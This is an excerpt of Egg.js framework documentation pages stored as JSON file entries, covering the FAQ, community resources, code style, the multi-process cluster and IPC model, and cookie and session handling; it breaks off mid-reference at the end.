Before doing `npm publish`, please read [How to deploy an npm package].\n\nAll tags mentioned above means the tags of npm in `package.json`.\n\n```json\n\"publishConfig\": {\n  \"tag\": \"next\"\n}\n```\n\n[semver]: https://semver.org/\n[release proposal mr]: https://github.com/nodejs/node/pull/4181\n[node changelog]: https://github.com/nodejs/node/blob/master/CHANGELOG.md\n[1.x milestone]: https://github.com/eggjs/egg/milestone/1\n[npm]: http://npmjs.com/\n[how to deploy an npm package]: https://fengmk2.com/blog/2016/how-i-publish-a-npm-package\n[english title case]: https://headlinecapitalization.com/\n"
  },
  {
    "path": "site/docs/community/faq.md",
    "content": "# Frequently Asked Questions\n\nIf you have questions that is not contained below, please check [Egg issues](https://github.com/eggjs/egg/issues).\n\n## How to feedback efficiently?\n\nThank you for reporting an issue.\n\n1. It's RECOMMENDED to submit PR for typo or tiny bug fix.\n2. If this's a FEATURE request, please provide: details, pseudo-codes if necessary.\n3. If this's a BUG, please provide: course repetition, error log and configuration. Fill in as much of the template below as you're able.\n4. **It will be nice to use `npm init egg --type=simple bug` to provide a mini GitHub repository which can reproduce the issue.**\n\nMost importantly, please understand one thing: the relationship between the `user` and `the maintainer of open source project` is not `Buyer` and `Seller`, the issue is not a customer order either.\nWhen you're opening an issue, please hold a mentality of \"working together to solve this problem.\" Do not expect us to serve you unilaterally.\n\n## Why does my config not work?\n\nFramework [Config](../basics/config.md) settings is powerfull, support different environments and different places(framework, plugins, app).\n\nWhen you got some trouble, and want to find out what is the final config using at runtime, you can checkout `${root}/run/application_config.json`(workers' configurations) and `${root}/run/agent_config.json`(agent's configurations).(`root` is application's root directory, in `local` and `unittest` environments, it will be project base directory, in other environments will be HOME directory)\n\nPlease make sure you don't make a mistake like the code below:\n\n```js\n// config/config.default.js\nexports.someKeys = 'abc';\nmodule.exports = (appInfo) => {\n  const config = {};\n  config.keys = '123456';\n  return config;\n};\n```\n\n## Where are my log files in prod environment?\n\nBy default, logs will print at `${baseDir}/logs`(baseDir is project's base directory) in the local environment. But in non-development environments(neither local nor unittest), the logs will print at `$HOME/logs`(such as `/home/admin/logs`). So the logs won't mix in during development and locate in the same place when run in production environment.\n\n## Why not choose `PM2` as the process management tool?\n\n1. `PM2` itself is too complex to issue problems if any.\n2. Deep optimization could be difficult to achieve if choosing PM2.\n3. Pattern like one leader process communicating with remote services, along with several follower processes delegating the request to it ([Cluster](../core/cluster-and-ipc.md)), is a rigid demand for reducing connections and data exchange load, especially when facing applications in very large scale. egg originates from Ant Financial Group and Alibaba Group, we start with applications in that scale at first, so we take these goals into consideration. All of these goals above could be hard to achieve with PM2.\n\nProcess management is very important. It defines the way we write code, meanwhile relates to deep runtime optimizations. So we think it's better included in the framework itself.\n\n**How to start application with PM2?**\n\nAlthough PM2 is not recommended, you can use it anyway.\n\nFirstly, put a start file in the root directory of your project:\n\n```js\n// server.js\nconst egg = require('egg');\n\nconst workers = Number(process.argv[2] || require('os').cpus().length);\negg.startCluster({\n  workers,\n  baseDir: __dirname,\n});\n```\n\nWe can start the application with PM2 like this:\n\n```bash\npm2 start server.js\n```\n\n## How to resolve `csrf` error?\n\nThere are two kinds of common csrf errors:\n\n- `missing csrf token`\n- `invalid csrf token`\n\nBy default [@eggjs/security](https://github.com/eggjs/security/) plugin built in Egg requires CSRF validation against all 'unsafe' request such as `POST`, `PUT`, `DELETE` requests.\n\nThe error will disappear in the presence of the correct csrf token in the request. For more implementation details, see [../core/security.md#csrf].\n\n## In the local development Environment, why is the worker process not restarted automatically when files are modified?\n\nUsually this happens when you are using Jetbrains softwares(IntelliJ IDEA, WebStorm, etc.) with `Safe Write` turned on.\n\nAccording to Jetbrains [Safe Write document](https://www.jetbrains.com/help/webstorm/2016.3/system-settings.html):\n\n> If this check box is selected, a changed file is first saved in a temporary file. If the save operation succeeds, the file being saved is replaced with the saved file. (Technically, the original file is deleted and the temporary file is renamed.)\n\nRenaming files leads to file watching failure. The solution is simple: just turn of `Safe Write` option. (Settings | Appearance & Behavior | System Settings | Use \"safe write\", the path may vary in different versions)\n"
  },
  {
    "path": "site/docs/community/index.md",
    "content": "# Community\n\n## Resources\n\n- Frameworks\n  - [aliyun-egg](https://github.com/eggjs/aliyun-egg)\n- Tools\n  - [vscode plugin - eggjs](https://marketplace.visualstudio.com/items?itemName=atian25.eggjs)\n  - [vscode plugin - eggjs-dev-tools](https://marketplace.visualstudio.com/items?itemName=yuzukwok.eggjs-dev-tools)\n- Others\n  - [awesome-egg](https://github.com/eggjs/awesome-egg)\n- Articles\n  - [How to evaluate Ali's open source enterprise-level Node.js framework Egg?](https://www.zhihu.com/question/50526101/answer/144952130) By [@day pig](https://github.com/atian25)\n  - You can also read our article at [Kuroshiami column](https://www.zhihu.com/column/eggjs)\n\n## Sponsors and Backers\n\n[![sponsors](https://opencollective.com/eggjs/tiers/sponsors.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)\n[![backers](https://opencollective.com/eggjs/tiers/backers.svg?avatarHeight=48)](https://opencollective.com/eggjs#support)\n\n## Contributors\n\n[![contributors](https://contrib.rocks/image?repo=eggjs/egg&max=240&columns=26)](https://github.com/eggjs/egg/graphs/contributors)\n"
  },
  {
    "path": "site/docs/community/style-guide.md",
    "content": "---\ntitle: Code Style Guide\n---\n\nDevelopers are advised to use `npm init egg --type=simple showcase` to generate and observe the recommended project structure and configuration.\n\n## Classify\n\nOld Style:\n\n```js\nmodule.exports = (app) => {\n  class UserService extends app.Service {\n    async list() {\n      return await this.ctx.curl('https://eggjs.org');\n    }\n  }\n  return UserService;\n};\n```\n\nchange to:\n\n```js\nconst Service = require('egg').Service;\nclass UserService extends Service {\n  async list() {\n    return await this.ctx.curl('https://eggjs.org');\n  }\n}\nmodule.exports = UserService;\n```\n\nAdditionally, the `framework developer` needs to change the syntax as follows, otherwise the `application developer` will have problems customizing base classes such as Service:\n\n```js\nconst egg = require('egg');\n\nmodule.exports = Object.assign(egg, {\n  Application: class MyApplication extends egg.Application {\n    // ...\n  },\n  // ...\n});\n```\n\n## Private Properties & Lazy Initialization\n\n- Private properties are mounted with `Symbol`.\n- The description of Symbol follows the rules of jsdoc, describing the mapped class name + attribute name.\n- Delayed initialization.\n\n```js\n// app/extend/application.js\nconst CACHE = Symbol('Application#cache');\nconst CacheManager = require('../../lib/cache_manager');\n\nmodule.exports = {\n  get cache() {\n    if (!this[CACHE]) {\n      this[CACHE] = new CacheManager(this);\n    }\n    return this[CACHE];\n  },\n};\n```\n"
  },
  {
    "path": "site/docs/core/cluster-and-ipc.md",
    "content": "---\ntitle: Multi-Process Model and Inter-Process Communication\norder: 7\n---\n\nWe know that JavaScript codes are run on single thread, in other words, one Node.js process only runs on one CPU. So if we use Node.js as a Web Server, we cannot benefit from multi-core any more. As an enterprise-level solution, one problem that must be solved is:\n\n> how to squeeze all server resources, taking advantages of multi-cores?\n\nAnd the official solution provided by Node.js is [Cluster module](https://nodejs.org/api/cluster.html), and there's an introduction:\n\n> A single instance of Node.js runs in a single thread. To take advantage of multi-core systems the user will sometimes want to launch a cluster of Node.js processes to handle the load.\n>\n> The cluster module allows you to easily create child processes that all share server ports.\n\n# What is Cluster?\n\nIn short,\n\n- fork multiple processes on the server concurrently.\n- every single process runs the same source code(just like assigning work done by one process to multiple processes).\n- what is more, all these processes can listen on the same one port(for detailed mechanism referring to @DavidCai1993 [Cluster Implementation Mechanism](https://cnodejs.org/topic/56e84480833b7c8a0492e20c))\n\nof which:\n\n- the process that forks other processes is called Master process, it seems like a contractor that does nothing except forking other processes.\n- other forked processes are called Worker processes, as the name suggests, they are workers that work actually. They accept requests and provide services.\n- usually the number of Worker processes depends on the CPU core number, only in this way can we take full advantage of multi-core resources.\n\n```js\nconst cluster = require('cluster');\nconst http = require('http');\nconst numCPUs = require('os').cpus().length;\n\nif (cluster.isMaster) {\n  // Fork workers.\n  for (let i = 0; i < numCPUs; i++) {\n    cluster.fork();\n  }\n\n  cluster.on('exit', function (worker, code, signal) {\n    console.log('worker ' + worker.process.pid + ' died');\n  });\n} else {\n  // Workers can share any TCP connection\n  // In this case it is an HTTP server\n  http\n    .createServer(function (req, res) {\n      res.writeHead(200);\n      res.end('hello world\\n');\n    })\n    .listen(8000);\n}\n```\n\n## Multi-Process Model of the Framework\n\nSimple like the example above, but as an enterprise-level solution, much more remains to be considered.\n\n- How to handle the exception that Worker processes exit unexpected?\n- How to share resources among multiple Worker processes?\n- How to schedule multiple Worker processes?\n- ...\n\n### Daemon Process\n\nHaleness(aka Robustness) of an enterprise-level application must be considered, apart from the guarantee of high quality codes of program itself, the framework level should provide the cache-all mechanism to ensure the availability under extreme circumstance.\n\nGenerally, Node.js processes exit for two reasons:\n\n#### Uncaught Exception\n\nThe process will exit when codes throw an exception but fail to catch it, at this time, Node.js provides `process.on('uncaughtException', handler)` interface to catch it, But if a Worker process encounters an uncaught exception, it enters an uncertain state and what we should do is to make it exit elegantly:\n\n1. close all TCP Servers started by the corrupted Worker process(close all connections and stop accepting new requests), close the IPC channel between Master and do not accept user requests any more.\n2. a new Worker process should be forked by the Master immediately to ensure the total number of workers unchanged.\n3. the corrupted Worker process waits for a while before exit in order to get through accepted requests.\n\n```bash\n   +---------+                 +---------+\n   |  Worker |                 |  Master |\n   +---------+                 +----+----+\n        | uncaughtException         |\n        +------------+              |\n        |            |              |                   +---------+\n        | <----------+              |                   |  Worker |\n        |                           |                   +----+----+\n        |        disconnect         |   fork a new worker    |\n        +-------------------------> + ---------------------> |\n        |         wait...           |                        |\n        |          exit             |                        |\n        +-------------------------> |                        |\n        |                           |                        |\n       die                          |                        |\n                                    |                        |\n                                    |                        |\n```\n\n#### OOM, System Exception\n\nWhen a process crashes due to exceptions or is killed due to OOM by the OS, we have no chance to resume the process like uncaught exceptions occurring, the only choice is to exit current process directly then Master forks a new Worker immediately.\n\nIn the framework, we use [graceful] and [egg-cluster] 2 modules correspondingly to implement above logics. This solution has been widely deployed in production environment in Alibaba Cor. and Ant Financial Cor. and is long-tested by 'Double 11' big promotion, solid and reliable.\n\n### Agent Mechanism\n\nUp to now, Node.js multi-process solution seems good enough and it's also the solution that we used in production environment previously. But before long, we find that there is some work that should not be done by every Worker in fact, if not, it leads to wasting of resources and, even worse, it may result in conflicts on resource access among processes. For example: we usually archive log file by date in production environment and it is easy to do in single process model:\n\n> 1. at 0 o'clock in the morning, rename current log file by date\n> 2. destroy previous file handle, create new log file and continue writing\n\nNow imagine there are 4 processes doing the same work, and they may get into a mess. So for this kind of background logics, we'd like to run it on a single process which is called Agent Worker, or Agent for short. Agent is something like a 'secretary' for other Worker which is introduced by Master, it does not serve outside but only App Workers, especially processes common affairs. Now our multi-process model becomes something like below:\n\n```bash\n                  +--------+          +-------+\n                  | Master |<-------->| Agent |\n                  +--------+          +-------+\n                  ^   ^    ^\n                 /    |     \\\n               /      |       \\\n             /        |         \\\n           v          v          v\n  +----------+   +----------+   +----------+\n  | Worker 1 |   | Worker 2 |   | Worker 3 |\n  +----------+   +----------+   +----------+\n```\n\nAnd our framework startup sequence looks like:\n\n```bash\n    +---------+           +---------+          +---------+\n    |  Master |           |  Agent  |          |  Worker |\n    +---------+           +----+----+          +----+----+\n         |      fork agent     |                    |\n         +-------------------->|                    |\n         |      agent ready    |                    |\n         |<--------------------+                    |\n         |                     |     fork worker    |\n         +----------------------------------------->|\n         |     worker ready    |                    |\n         |<-----------------------------------------+\n         |      Egg ready      |                    |\n         +-------------------->|                    |\n         |      Egg ready      |                    |\n         +----------------------------------------->|\n```\n\n1. Agent process is forked after Mater starts up\n2. when Agent initialized successfully, Master is notified via IPC channel\n3. Master forks many App Workers\n4. when App Worker initialized successfully, Master is notified\n5. when all process initialized successfully, Master notifies Agent and Worker that the application starts up successfully\n\nBesides, there still is something about Agent Worker needing to be notices:\n\n1. since App Worker depends on Agent, App Worker can be forked only after Agent being initialized\n2. although Agent is the secretary of App Worker, business related work should not be assigned to Agent, or it may be broken down\n3. considering the special orientation of Agent, **we must ensure it's relatively stable**. When it throws an uncaught exception, framework does not shut it down then restart it like App Worker, instead, it logs the exception, gives an alarm and waits for manual handling\n4. mounting API of Agent differs from that of App Worker, and differences are listed in [Framework docs](../advanced/framework.md)\n\n### Agent Usage\n\nYou can implement your own logics in `agent.js` which is under the directory of the application or the plugin(like the usage of [Customized Startup](../basics/app-start.md), and the only difference is using agent object as the entrance parameter)\n\n```js\n// agent.js\nmodule.exports = agent => {\n  // put your initialization logics here\n\n  // messages can also be sent by the messenger object to App Worker\n  // but you should wait until App Worker starts up successfully, or the message may be lost\n  agent.messenger.on('egg-ready', () => {\n    const data = { ... };\n    agent.messenger.sendToApp('xxx_action', data);\n  });\n};\n```\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.messenger.on('xxx_action', (data) => {\n    // ...\n  });\n};\n```\n\nIn this example, codes of `agent.js` are run in Agent process, codes of `app.js` are run in the Worker process, and they do the Inter-Process Communication(IPC) through the `messenger` object encapsulated by framework. Details about the IPC are explained in later sections.\n\n### Master vs Agent vs Worker\n\nWhen an application starts up, 3 kinds of processes will be forked.\n\n| Type   | Number of Processes             | Purpose                                                      | Stability | Run Business Codes or Not |\n| ------ | ------------------------------- | ------------------------------------------------------------ | --------- | ------------------------- |\n| Master | 1                               | Managing processes and transmitting messages among processes | Very High | No                        |\n| Agent  | 1                               | Running background jobs(persistent connection client)        | High      | Little                    |\n| Worker | usually the number of CPU cores | Running Business codes                                       | Normal    | Yes                       |\n\n#### Master\n\nWith this model, Master process undertakes the process management workers(like [pm2]) but runs no business codes. We simply start up a Master process and it will handle all initialization and restarting issues of Worker and Agent processes.\n\nMaster process is extremely stable. We simply use [egg-scripts] for online and `egg.startCluster` for background to start Master process and [pm2] or other daemon module is no long necessary.\n\n```bash\n$ egg-scripts start --daemon\n```\n\n#### Agent\n\nIn most cases, we needn't care about Agent process when writing business codes, but in several cases, where we propose to run the codes in a single process and that is the time we use Agent process.\n\nSince there's only one Agent that is in charge of tough and tedious work like keeping connections, it cannot be hang or restarted rashly. Agent process won't exit when encounters uncaught exceptions, but output an error log instead, **so we should always keep out eyes on the uncaught exceptions in logs**.\n\n#### Worker\n\nWorker process undertakes user requests and [scheduled tasks](../basics/schedule.md) actually. Egg provides scheduled tasks with the ability to be run only in one Worker process, **so never solve problems by Agent as long as they can be solved by scheduled tasks**.\n\nWorker runs business codes, which are more complicated than those of Agent and Master but the stability may be lower, **a Worker process will be restarted by Master when a Worker process exits unexpectedly**.\n\n## Inter-Process Communication(IPC)\n\nAlthough every Worker process runs individually, it's necessary for them to communicate with each other which is called inter-process communication(IPC). Below is an example code provided by Node.js officially.\n\n```js\n'use strict';\nconst cluster = require('cluster');\n\nif (cluster.isMaster) {\n  const worker = cluster.fork();\n  worker.send('hi there');\n  worker.on('message', (msg) => {\n    console.log(`msg: ${msg} from worker#${worker.id}`);\n  });\n} else if (cluster.isWorker) {\n  process.on('message', (msg) => {\n    process.send(msg);\n  });\n}\n```\n\nCarefully you can see that the IPC channel of clusters exists only between Master and Worker/Agent, not between Worker and Agent. So how to communicate among Workers? Yes, Master helps transmit.\n\n```bash\nBroadcast messages: agent => all workers\n                  +--------+          +-------+\n                  | Master |<---------| Agent |\n                  +--------+          +-------+\n                 /    |     \\\n                /     |      \\\n               /      |       \\\n              /       |        \\\n             v        v         v\n  +----------+   +----------+   +----------+\n  | Worker 1 |   | Worker 2 |   | Worker 3 |\n  +----------+   +----------+   +----------+\n\nSpecify receivers: one worker => another worker\n                  +--------+          +-------+\n                  | Master |----------| Agent |\n                  +--------+          +-------+\n                 ^    |\n     send to    /     |\n    worker 2   /      |\n              /       |\n             /        v\n  +----------+   +----------+   +----------+\n  | Worker 1 |   | Worker 2 |   | Worker 3 |\n  +----------+   +----------+   +----------+\n```\n\nTo simplify the invocation, we have encapsulated a messenger object and attached it to the app/agent instance, a set of friendly APIs is provided too.\n\n### Send\n\n- `app.messenger.broadcast(action, data)`: sends messages to all agent/app processes(including itself)\n- `app.messenger.sendToApp(action, data)`: sends messages to all app processes\n  - when called on app, it sends messages to itself and other app processes\n  - when called on agent, it sends messages to all app processes\n- `app.messenger.sendToAgent(action, data)`: sends messages to the agent process\n  - when called on app, it sends messages to the agent process\n  - when called on agent, it sends messages to the agent itself\n- `agent.messenger.sendRandom(action, data)`:\n  - app dose not have this method(now Egg implements it as sendToAgent)\n  - agent sends a random message to one app process(master determines whom to send to)\n- `app.messenger.sendTo(pid, action, data)`: send messages to specified process\n\n```js\n// app.js\nmodule.exports = (app) => {\n  // Note, only after egg-ready event occurs can the message be sent\n  app.messenger.once('egg-ready', () => {\n    app.messenger.sendToAgent('agent-event', { foo: 'bar' });\n    app.messenger.sendToApp('app-event', { foo: 'bar' });\n  });\n};\n```\n\n_All methods called on `app.messenger` above can be called on `agent.messenger` too._\n\n#### `egg-ready`\n\nWe mentioned in the example above that, only after egg-ready event occurs can the message be sent. Only after Master makes sure that all Agent process and Worker processes have been started successfully(and ready), can the `egg-ready` message be sent to all Agent and Worker through messenger, notifying that everything is ready and the IPC channel can be used.\n\n### Receive\n\nListen the action event on messenger therefore messages sent by other processes can be received.\n\n```js\napp.messenger.on(action, (data) => {\n  // process data\n});\napp.messenger.once(action, (data) => {\n  // process data\n});\n```\n\n_The way to receive messages using messenger in agent is the same with that of app._\n\n## IPC in Practice\n\nNow we will show you how IPC solves real problems with the multi-process model of framework by a simple example.\n\n### Requisition\n\nWe have a API that gets data from the remote data source and provides services outside. Since data of the data source change little and we prefer to cache it in the memory to accelerate the response of services and reduce the RT. Now a mechanism to update the memory cache is needed.\n\n1. Get data from the remote data source periodically and update the memory cache. To reduce pressure on the data source, the period for updating may be set relatively long.\n2. The remote data source provides an API to check whether its data has been updated. Our service calls that API more frequently and only when data is updated can it pull the data.\n3. The remote data source pushes data changes through a message-oriented middleware on which our service listens to update the data.\n\nIn real projects, we use solution one to catch all, and, in combination with solution tow or three, the instantaneity of data updating can be sped up. In the example, we use IPC + [scheduled tasks](../basics/schedule.md) to implement these three cache updating solutions in the same time.\n\n### Implementation\n\nWe put all logics that is used to interact with the remote data source into a Service, where a `get` method is exposed to Controller to invoke.\n\n```js\n// app/service/source.js\nlet memoryCache = {};\n\nclass SourceService extends Service {\n  get(key) {\n    return memoryCache[key];\n  }\n\n  async checkUpdate() {\n    // check if remote data source has changed\n    const updated = await mockCheck();\n    this.ctx.logger.info('check update response %s', updated);\n    return updated;\n  }\n\n  async update() {\n    // update memory cache from remote\n    memoryCache = await mockFetch();\n    this.ctx.logger.info('update memory cache from remote: %j', memoryCache);\n  }\n}\n```\n\nWrite the scheduled task to implement solution one: gets data changes from the remote data source every 10 minutes to update cache as a cache-all.\n\n```js\n// app/schedule/force_refresh.js\nexports.schedule = {\n  interval: '10m',\n  type: 'all', // run in all workers\n};\n\nexports.task = async (ctx) => {\n  await ctx.service.source.update();\n  ctx.app.lastUpdateBy = 'force';\n};\n```\n\nWrite a scheduled task again to implement check logics of solution two: make a worker call the check API every 10 seconds and notify all Workers using methods provided by messenger when data changes are found.\n\n```js\n// app/schedule/pull_refresh.js\nexports.schedule = {\n  interval: '10s',\n  type: 'worker', // only run in one worker\n};\n\nexports.task = async (ctx) => {\n  const needRefresh = await ctx.service.source.checkUpdate();\n  if (!needRefresh) return;\n\n  // notify all workers to update memory cache from `file`\n  ctx.app.messenger.sendToApp('refresh', 'pull');\n};\n```\n\nListen on the `pullRefresh` event in the customized start-up file and update data. All Worker processes will receive this message, trigger updates and our solution two succeeds at last.\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.messenger.on('refresh', (by) => {\n    app.logger.info('start update by %s', by);\n    // create an anonymous context to access service\n    const ctx = app.createAnonymousContext();\n    ctx.runInBackground(async () => {\n      await ctx.service.source.update();\n      app.lastUpdateBy = by;\n    });\n  });\n};\n```\n\nNow let's consider how to implement solution three. We need a message-oriented middleware that keeps persistent connections with the server side. This kind of persistent connections is proper for Agent process to keep which can effectively reduce connection numbers and reduce costs both ends. So we start message listening on Agent process.\n\n```js\n// agent.js\n\nconst Subscriber = require('./lib/subscriber');\n\nmodule.exports = (agent) => {\n  const subscriber = new Subscriber();\n  // listen changed event, broadcast to all workers\n  subscriber.on('changed', () => agent.messenger.sendToApp('refresh', 'push'));\n};\n```\n\nWith an intelligent use of Agent process, scheduled tasks and IPC, we can easily implement this kind of requisition and reduce pressure on the data source. Detailed example codes refer to [examples/ipc](https://github.com/eggjs/examples/tree/master/ipc).\n\n## More Complex Scenario\n\nIn the above example, we runs a subscriber on Agent process to listen messages sent by the message-oriented middleware. What if Worker processes need to listen messages? How to create connections by Agent process and transmit messages to Worker processes? Answers to these questions can be found in [Advanced Multi-Process Developing Pattern](../advanced/cluster-client.md).\n\n[pm2]: https://github.com/Unitech/pm2\n[egg-cluster]: https://github.com/eggjs/egg-cluster\n[egg-scripts]: https://github.com/eggjs/egg-scripts\n[graceful]: https://github.com/node-modules/graceful\n"
  },
  {
    "path": "site/docs/core/cookie-and-session.md",
    "content": "---\ntitle: Cookie and Session\norder: 6\n---\n\n## Cookie\n\nHTTP is a stateless protocol.\nBut web applications often need to identify the sender of requests.\nTo solve this problem, HTTP protocol defines a header [Cookie](https://en.wikipedia.org/wiki/HTTP_cookie).\nWeb servers can use response header `Set-Cookie` to send small data to clients.\nClients (e.g. web browsers) store the data according to protocol,\nand attach the cookie data in future requests.\nFor security reason, browsers only attach cookies in the requests that are sent to the same domain.\nWeb servers can use `Domain` and `Path` attributes to define the scope of the cookie.\n\nBy using `ctx.cookies`, we can easily and safely read/set cookies in controller.\n\n```js\nclass HomeController extends Controller {\n  async add() {\n    const ctx = this.ctx;\n    let count = ctx.cookies.get('count');\n    count = count ? Number(count) : 0;\n    ctx.cookies.set('count', ++count);\n    ctx.body = count;\n  }\n  async remove() {\n    const ctx = this.ctx;\n    ctx.cookies.set('count', null);\n    ctx.status = 204;\n  }\n}\n```\n\n#### `ctx.cookies.set(key, value, options)`\n\nModifying Cookie is done by setting `Set-Cookie` header in HTTP responses.\nEach `Set-Cookie` creates a key-value pair in client.\nBesides of setting the value of Cookie,\nHTTP protocol supports more attributes to control the transfer, storage and permission of Cookie.\n\n- `{Number} maxAge`: set the lifetime of the cookie in milliseconds. It's the milliseconds since server's \"Now\". Client discards a cookie after specified lifetime.\n- `{Date} expires`: set the expiration time of the cookie. If `maxAge` is defined, `expires` will be ignored. If neither is defined, Cookie will expire when client session expires, usually it's the time client closed.\n- `{String} path`: set the path of the cookie. By default it's on root path (`/`), which means all URL under the current domain have access to the cookie.\n- `{String} domain`: set the domain of the cookie. By default, it's not defined. If defined, only specified domain have access to the cookie.\n- `{Boolean} httpOnly`: set whether the cookie can be accessed by Javascript. By default it's `true`, which means Javascript cannot access the cookie.\n- `{Boolean} secure`: set whether the cookie can only be accessed under HTTPS. See [explanation](http://stackoverflow.com/questions/13729749/how-does-cookie-secure-flag-work) for details. Egg.js auto sets this value to true if the current request is sent over HTTPS.\n\nIn addition to these standard Cookie attributes, egg.js supports 3 more parameters:\n\n- `{Boolean} overwrite`: set the way of handling same Cookie key. If true, earlier called values will be overwritten by the last call; otherwise HTTP response will contain multiple `Set-Cookie` headers with the same key.\n- `{Boolean} signed`: set whether the cookie should be signed. If true, the value of the cookie will be signed. So that when the value is being read, server verifies the signature to prevent cookie values modified by client. By default it's true.\n- `{Boolean} encrypt`: set whether the cookie should be encrypted. It true, the cookie value will be encrypted before sending to clients so user clients cannot get raw text of the cookie. By default it's false.\n\nWhen using Cookie, we need to have a clear idea of the purpose of the cookie,\nhow long it needs to be stored in client, can it be accessed by JS, can it be modified by client.\n\n**By default, Cookie is signed but not encrypted,\nclient can see raw content but cannot modify it (manually).**\n\n- If you need to allow JS to access and modify Cookie:\n\n```js\nctx.cookies.set(key, value, {\n  httpOnly: false,\n  signed: false,\n});\n```\n\n- If you don't want to allow JS to access and modify Cookie:\n\n```js\nctx.cookies.set(key, value, {\n  httpOnly: true, // by default it's true\n  encrypt: true, // cookies are encrypted during network transmission\n});\n```\n\nNote:\n\n1. Due to [the uncertainty of client's implementation](http://stackoverflow.com/questions/7567154/can-i-use-unicode-characters-in-http-headers), to ensure Cookie can be stored successfully, it's recommended to encode cookie value in base64 or other codec.\n2. Due to [the limitation of Cookie length on client side](http://stackoverflow.com/questions/640938/what-is-the-maximum-size-of-a-web-browsers-cookies-key), do avoid using long Cookie. Generally speaking, no more than 4093 bytes. When Cookie value's length is greater than this value, egg.js prints a warning in log.\n\n#### `ctx.cookies.get(key, options)`\n\nAs HTTP Cookie is sent over header,\nwe can use this method to easily retrieve the value of given key from Cookie.\nIf `options.signed` and `options.encrypt` has been configured to sign and encrypt Cookie,\nthe corresponding options also need to be used in `get` method.\n\n- If `signed` is true when `set` Cookie but false when `get` Cookie, egg.js doesn't verify Cookie value, so the value could have been modified by client.\n- If `encrypt` is true when `set` Cookie but false when `get` Cookie, what you get is encrypted text rather than the raw plain text.\n\nIf you want to get the cookie set by frontend or other system, you need to specify the parameter `signed` as `false`, avoid varify the cookie and not getting the vlaue.\n\n```js\nctx.cookies.get('frontend-cookie', {\n  signed: false,\n});\n```\n\n### Cookie Secret Key\n\nSince we need to sign and encrypt Cookie, a secret key is required.\nIn `config/config.default.js`:\n\n```js\nmodule.exports = {\n  keys: 'key1,key2',\n};\n```\n\n`keys` is defined as a string, several keys separated by commas.\nWhen egg.js processes Cookie:\n\n- the first key is used in encryption and signature generation.\n- to decrypt or verify signature, egg.js iterates through all keys.\n\nIf you need to update Cookie secret key and don't want to invalidate existing clients' Cookie,\nyou can add new secret key at the front of `keys`.\nAfter some time, when existing Cookie has expired, delete the old secret keys.\n\n## Session\n\nIn web applications, Cookie is usually used to identify users.\nSo the concept of Session, which is built on top of Cookie,\nwas created to specifically handle user identification.\n\nEgg.js built-in supports Session through [@eggjs/session](https://github.com/eggjs/session) plugin.\nWe can use `ctx.session` to read or modify current user session.\n\n```js\nclass HomeController extends Controller {\n  async fetchPosts() {\n    const ctx = this.ctx;\n    // get content from session\n    const userId = ctx.session.userId;\n    const posts = await ctx.service.post.fetch(userId);\n    // modify session value\n    ctx.session.visited = ctx.session.visited ? ctx.session.visited + 1 : 1;\n    ctx.body = {\n      success: true,\n      posts,\n    };\n  }\n}\n```\n\nIt is very intuitive to use Session, simply get or set.\nTo delete a session, set its value to null:\n\n```js\nexports.deleteSession = function* (ctx) {\n  ctx.session = null;\n};\n```\n\nWhat you need to pay special attention to is that you need to avoid the following situations when setting session properties (which can cause field loss, See for details [koa-session source code](https://github.com/koajs/session/blob/master/lib/session.js#L37-L47)):\n\n- Don't start with `_`\n- Don't use `isNew`\n\n```js\n// ❌ Wrong way\nctx.session._visited = 1; //   --> property will lost\nctx.session.isNew = 'HeHe'; //   --> session keyword, should not write it\n\n// ✔️ Right way\nctx.session.visited = 1; //   -->  Everything is all right\n```\n\nSession is built on top of Cookie.\nBy default, the content of Session is stored in a Cookie field as encrypted string.\nEvery time a client sends requests to server, the cookie is attached in requests.\nEgg.js passes decrypted cookie to server code.\nThe default configuration of Session is:\n\n```js\nexports.session = {\n  key: 'EGG_SESS',\n  maxAge: 24 * 3600 * 1000, // 1 day\n  httpOnly: true,\n  encrypt: true,\n};\n```\n\nThe attributes except of `key` are all standard Cookie attributes.\n`key` is the key of the cookie that stores session content.\nWith default config, the session cookie is encrypted, not accessible to JS,\nwhich ensures user cannot access or modify it.\n\n### Store Session in Other Storage\n\nSession is stored in Cookie by default.\nIf a session is too big, there are some troubles.\n\n- as mentioned above, clients usually have limitation on Cookie length. When session is too big, a client may refuse to store it.\n- Cookie is attached in every request. If session is too big, the additional cost of sending session may be significant.\n\nEgg.js supports to store Session in other places.\nTo config it, you can simply set `app.sessionStore`.\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.sessionStore = {\n    // support promise / async\n    async get(key) {\n      // return value;\n    },\n    async set(key, value, maxAge) {\n      // set key to store\n    },\n    async destroy(key) {\n      // destroy key\n    },\n  };\n};\n```\n\nThe implementation of `sessionStore` can also be encapsulated into a plugin.\nFor example, [@eggjs/session-redis] stores Session in Redis.\nTo apply it, import [@eggjs/redis] and [@eggjs/session-redis] plugin in your application.\n\n```js\n// plugin.js\nexports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\nexports.sessionRedis = {\n  enable: true,\n  package: '@eggjs/session-redis',\n};\n```\n\n**Note: once you choose to store Session in external storage,\nit means your system heavily depends on the external storage.\nOnce it's down, Session feature won't work.\nSo it's recommended to put only necessary information in Session,\nkeep Session minimum and use the default Cookie storage if possible.\nDo not put per-user's data cache in Session.**\n\n### Session Practice\n\n#### Set Session's Expiration Time\n\nSession config has a attribute `maxAge`, which controls global expiration time of all sessions of the application.\n\nWe often can see a **Remember Me** option on a lot of websites' login page.\nIf it's selected, Session of this logged in user can live longer.\nThis kind of per-user session expiration time can be set through `ctx.session.maxAge`:\n\n```js\nconst ms = require('ms');\nclass UserController extends Controller {\n  async login() {\n    const ctx = this.ctx;\n    const { username, password, rememberMe } = ctx.request.body;\n    const user = await ctx.loginAndGetUser(username, password);\n\n    // set Session\n    ctx.session.user = user;\n    // if user selected `Remember Me`, set expiration time to 30 days\n    if (rememberMe) ctx.session.maxAge = ms('30d');\n  }\n}\n```\n\n#### Extend Session's Expiration Time\n\nBy default, if user requests don't result in modification of Session,\negg.js doesn't extend expiration time of the session.\nBut in some scenarios, we hope that if users visit our site for a long time, then extend their session validity and not let the user exit the login state. The framework provides a `renew` configuration item to implement this feature. It will reset the session's validity period when it finds that the user's session is half the maximum validity period.\n\n```js\n// config/config.default.js\nmodule.exports = {\n  session: {\n    renew: true,\n  },\n};\n```\n\n[@eggjs/redis]: https://github.com/eggjs/redis\n[@eggjs/session-redis]: 